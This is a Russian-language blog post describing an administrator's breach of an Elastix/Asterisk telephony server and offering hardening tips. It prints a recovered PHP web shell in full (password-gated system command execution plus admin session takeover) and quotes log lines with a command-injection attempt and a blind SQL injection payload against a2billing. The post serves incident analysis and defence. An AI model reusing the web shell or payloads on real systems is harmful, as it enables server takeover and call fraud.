Уязвимость сервера телефонии на базе Asterisk и Elastix

elastix_logo_miniХочу кратко рассказать о том, как мой новенький сервер телефонии на базе Elastix был взломан. И дать небольшие советы по повышению безопасности на основе разбора полетов. Собиралось все на базе VDS хостинга с использованием готовой сборки отсюда. Предлагаемая версия CentOS 5 довольно древняя.

 

История взлома

Версии основного установленного ПО:

 elastix-2.5.0-1
 freePBX-2.11.0-26
 asterisk-11.25.0-0

На самом деле ситуация достаточно банальна. Так как настраиваемая система телефонии еще не запущена в постоянную работу, то я постоянно захожу на сервер как через веб интерфейс так и через ssh. В один прекрасный день при входе, через консоль мне высветилось стандартное сообщение, что пользователь root получил новое почтовое сообщение. Зайдя в папку /var/mail увидел, что там так же есть и файлик с письмами пользователя asterisk и так как он был довольно большой, я решил посмотреть именно его. Самое последнее письмо содержало замечательную строчку

127.0.0.1/_asterisk/sos.php

Файл представлял из себя backdoor, через который взломщик и проводил свои манипуляции на сервере. Первая запись в логе с подозрительными данными появилась еще 12 декабря, сразу после установки сервера:

209.126.119.40 - - [12/Dec/2016:17:48:38 +0400] 
"POST /recordings//emoemo.php HTTP/1.1" 200 296

В процессе настройки сервера, невольно, мне удалось заблокировать взломщика, но еще раньше, оперативно сработала защита сети sipnet.ru и предотвратило возможную потерю денег. За что им отдельное спасибо. 24 декабря утром на почту пришло письмо от sipnet со списком заблокированных попыток звонков по различным направлениям.

Этим же днем я включил на сервере auth basic авторизацию (расскажу про нее далее). В последствии по логам было видно, что взломщик еще пытается войти, но уже не может.

Рядом с файлом sos.php лежал файл a7a.php следующего содержания:

<form action="" method="post" >
<input size=20 type=password name="p" />
<input size=60 type=text name="c" />
<input type=submit value="Hacked" /></form>
Hacked >
<?php
if(md5($_REQUEST['p'])=='fe732de226af5491a6266f9d5eaa62fc')
{
@system($_REQUEST['c']);
include_once "/var/www/html/libs/paloSantoDB.class.php";
include_once "/var/www/html/libs/paloSantoACL.class.php";
$pDB = new paloDB("sqlite3:////var/www/db/acl.db");
$db = $pDB->fetchTable
("SELECT name, md5_password,extension from acl_user WHERE id ='1'");
session_name("elastixSession");
session_start();
$_SESSION['elastix_user'] = $db[0][0];
$_SESSION['elastix_pass'] = $db[0][1];
echo '<a href="/" >Emad__Was__Here</a>';
}
?>

По файлу видно, что это простейший скрипт для логина в Elastix без пароля. Аналогичного содержания файлы были найдены по адресам:

/tmp/emo.txt
/var/www/html/admin/320433521emad.php
/var/www/html/a2billing/admin/Public/352132043emo.php

Пока загадкой остается способ как Emad (видимо так зовут взломщика) записал свои файлы на сервер. Анализируя логи самой подозрительной записью оказалась вот эта:

82.205.4.104 - - [16/Dec/2016:23:24:54 +0400] "GET 
/a2billing/admin/Public//tmp/sql.gz%20&
mv%20/tmp/z.txt%20/var/www/html/_asterisk/sos.php%20&%20a.gz 
HTTP/1.1" 404 372

Так как все его залитые файлы имеют права доступа asterisk, то очевидно, что взлом был осуществлен через веб интерфейс. Так же скорее всего первым на сервер попал именно файл

/recordings//emoemo.php

Так что дыра где-то в модуле recordings. Так же довольно много обращений было к модулю a2billing следующего содержания:

209.126.119.40 - - [12/Dec/2016:17:55:24 +0400] "GET 
//a2billing/customer/A2B_recurring_payment.php?
id=1%20AND%20%28SELECT%20%2A%20FROM%20%28SELECT%28SLEEP%285-%28
IF%28ORD%28MID%28%28SELECT%20IFNULL%28CAST%28manager_secret%20AS
%20CHAR%29%2C0x20%29%20FROM%20cc_server_manager%20LIMIT%200%2C1
%29%2C4%2C1%29%29%3E112%2C0%2C5%29%29%29%29%29Fwlh%29&key=222
&payment_status=Completed&txn_type=subscr_payment
&pos=fadgs&aad=dwqrq HTTP/1.1" 200 -

Более конкретных сведений по логам найти не удалось.

Привожу список ip с которыми засветился взломщик на сервере

82.205.4.104
82.205.11.51
185.6.17.224
209.126.119.40
156.176.139.5
176.67.122.234
94.177.183.126
144.217.34.239
192.99.19.86

 Немного о безопасности

То, что на мой взгляд обязательно надо сделать на сервере с установленной телефонией:

  • первое и самое лучшее решение — не пользоваться web интерфейсом и заниматься настройкой телефонии напрямую в конфигурационных файлах asterisk и сервера.

Да, такой вариант намного более сложный для новичков, но убрав GUI мы убираем и сразу множество возможных лазеек в безопасности. Еще одним бонусом данного решения является возможность использовать самую последнюю версию asterisk и сервера, так как многие готовые сборки поставляются с довольно старым ПО.

Как вариант, запускать веб сервер только когда вы работаете сами и выключать после проведенных манипуляций.

  • включение на сервере Auth basic аутентификации

Использование простейшей аутентификации позволит сильно повысить безопасность web интерфейсов так как перед любым обращением к серверу злоумышленнику необходимо будет преодолеть дополнительную ступень защиты. Однако, данный метод защиты хорошо обходится брутфорсом, поэтому обязательно следует выбирать сложный многосимвольный пароль состоящий как из букв так и цифр.

Именно благодаря установки пароля на свой сервер мне удалось перекрыть доступ злоумышленнику. Но узнал я об это только неделю спустя.

Установить пароль очень просто, для начала нам надо создать файл с набором логинов и паролей. Для этого служит команда:

htpasswd -nbm myName myPassword >> /etc/httpd.passwd

Далее необходимо включить auth basic аутентификацию для нашего веб интерфейса, а в качестве файла паролей подключить наш созданный файл.

<Directory "/var/www/html">
 # Redirect administration interface to https
 RewriteEngine On
 RewriteCond %{HTTPS} off
 RewriteRule (.*) https://%{HTTP_HOST}%{REQUEST_URI}

 AuthType Basic
 AuthName "Access denied"
 AuthUserFile /etc/httpd.passwd
 require valid-user
</Directory>

Из данного примера видно, что наш web сервер Elastix настроен на папку /var/www/html

После этих манипуляций перезагружаем web сервер и при попытке входа видим дополнительное окно для логина.

  • настройка модуля fail2ban на сервере

Данный модуль достаточно популярен и позволяет блокировать через фаервол соединения на основе данных из логов. В нашем случае при нескольких неправильных попытках подключения к серверу asterisk или sshd. Этот пункт указан не первым, но сделать это следует в первую очередь, причем правила лучше выбрать более строгие. Например, блокировку на сутки при 4-5 попытках входа.

Отслеживать активность подключений можно анализируя лог asterisk:

tail -f /var/log/asterisk/full

Опция f позволяет вести онлайн мониторинг

  • Еще одним вариантом защиты является перенос web интерфейса с домена по умолчанию на неизвестный другим пользователям

Например, если ваш сервер имеет хост sip.asterisk.hack, то по этому адресу есть смысл отдавать заглушку или вообще ничего, а web интерфейс перенести на адрес secure.asterisk.hack. Продвинутый злоумышленник все равно найдет и этот адрес, но дополнительные трудности ему это создаст. Так же мы можем таким образом обрезать некоторые боты.

  • отключение не используемых модулей

В моем случае взлом по видимому был произведен через модуль recordings. Далее злоумышленник много игрался с модулем a2billing, однако, я им не пользовался и удалив его мог бы повысить безопасность системы.

  • разрешить подключение к серверу только с доверительных ip 

Если мы точно знаем ip адреса (или хотябы подсети) которые будут пользоваться нашим сервером, то их точно стоит включить в белый список нашего фаервола, а остальных банить на подходе.

 

Запись опубликована в рубрике PHP, Администрирование, Безопасность с метками , , , , , , , . Добавьте в закладки постоянную ссылку.

Добавить комментарий

Ваш e-mail не будет опубликован. Обязательные поля помечены *